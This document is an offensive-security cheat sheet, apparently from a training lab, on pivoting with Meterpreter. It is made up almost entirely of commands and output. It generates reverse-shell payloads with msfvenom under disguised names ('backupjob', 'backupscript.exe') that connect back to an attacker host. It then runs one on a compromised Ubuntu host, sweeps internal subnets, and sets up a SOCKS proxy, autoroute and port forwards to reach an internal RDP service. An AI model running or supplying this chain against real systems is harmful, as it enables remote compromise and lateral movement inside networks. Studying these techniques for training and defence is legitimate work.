Meterpreter Tunneling & Port Forwarding

Creating Payload for Ubuntu Pivot Host

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080

Configuring & Starting the multi/handler

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8080 

Executing the Payload on the Pivot Host

ubuntu@WebServer:~$ ls

backupjob
ubuntu@WebServer:~$ chmod +x backupjob 
ubuntu@WebServer:~$ ./backupjob

Meterpreter Session Establishment

[*] Sending stage (3020772 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826 ) at 2022-03-03 12:27:43 -0500
meterpreter > pwd

/home/ubuntu

Ping Sweep

meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

[*] Performing ping sweep for IP range 172.16.5.0/23

Ping Sweep For Loop on Linux Pivot Hosts

for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done

Ping Sweep For Loop Using CMD

for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

Ping Sweep Using PowerShell

1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.16.5.$($_) -quiet)"}

Configuring MSF’s SOCKS Proxy

msf6 > use auxiliary/server/socks_proxy

msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.

[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  9050             yes       The port to listen on
   VERSION  4a               yes       The SOCKS version to use (Accepted: 4a,
                                        5)


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server

Confirming Proxy Server is Running

msf6 auxiliary(server/socks_proxy) > jobs

Jobs
====

  Id  Name                           Payload  Payload opts
  --  ----                           -------  ------------
  0   Auxiliary: server/socks_proxy

Creating Routes with AutoRoute

msf6 > use post/multi/manage/autoroute

msf6 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
SUBNET => 172.16.5.0
msf6 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: linux
[*] Running module against 10.129.202.64
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing table.
[*] Post module execution completed
meterpreter > run autoroute -s 172.16.5.0/23

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.5.0/255.255.254.0...
[+] Added route to 172.16.5.0/255.255.254.0 via 10.129.202.64
[*] Use the -p option to list all active routes

Listing Active Routes with AutoRoute

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.129.0.0         255.255.0.0        Session 1
   172.16.4.0         255.255.254.0      Session 1
   172.16.5.0         255.255.254.0      Session 1

Testing Proxy & Routing Functionality

proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn

Port Forwarding

meterpreter > help portfwd

Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
    -L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
    -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
    -r <opt>  Forward: remote host to connect to.
    -R        Indicates a reverse port forward.

Creating Local TCP Relay

meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19

[*] Local TCP relay created: :3300 <-> 172.16.5.19:3389

Meterpreter Reverse Port Forwarding

meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18

[*] Local TCP relay created: 10.10.14.18:8081 <-> :1234

Configuring & Starting multi/handler

meterpreter > bg

[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081 
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 0.0.0.0 
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8081

Generating the Windows Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234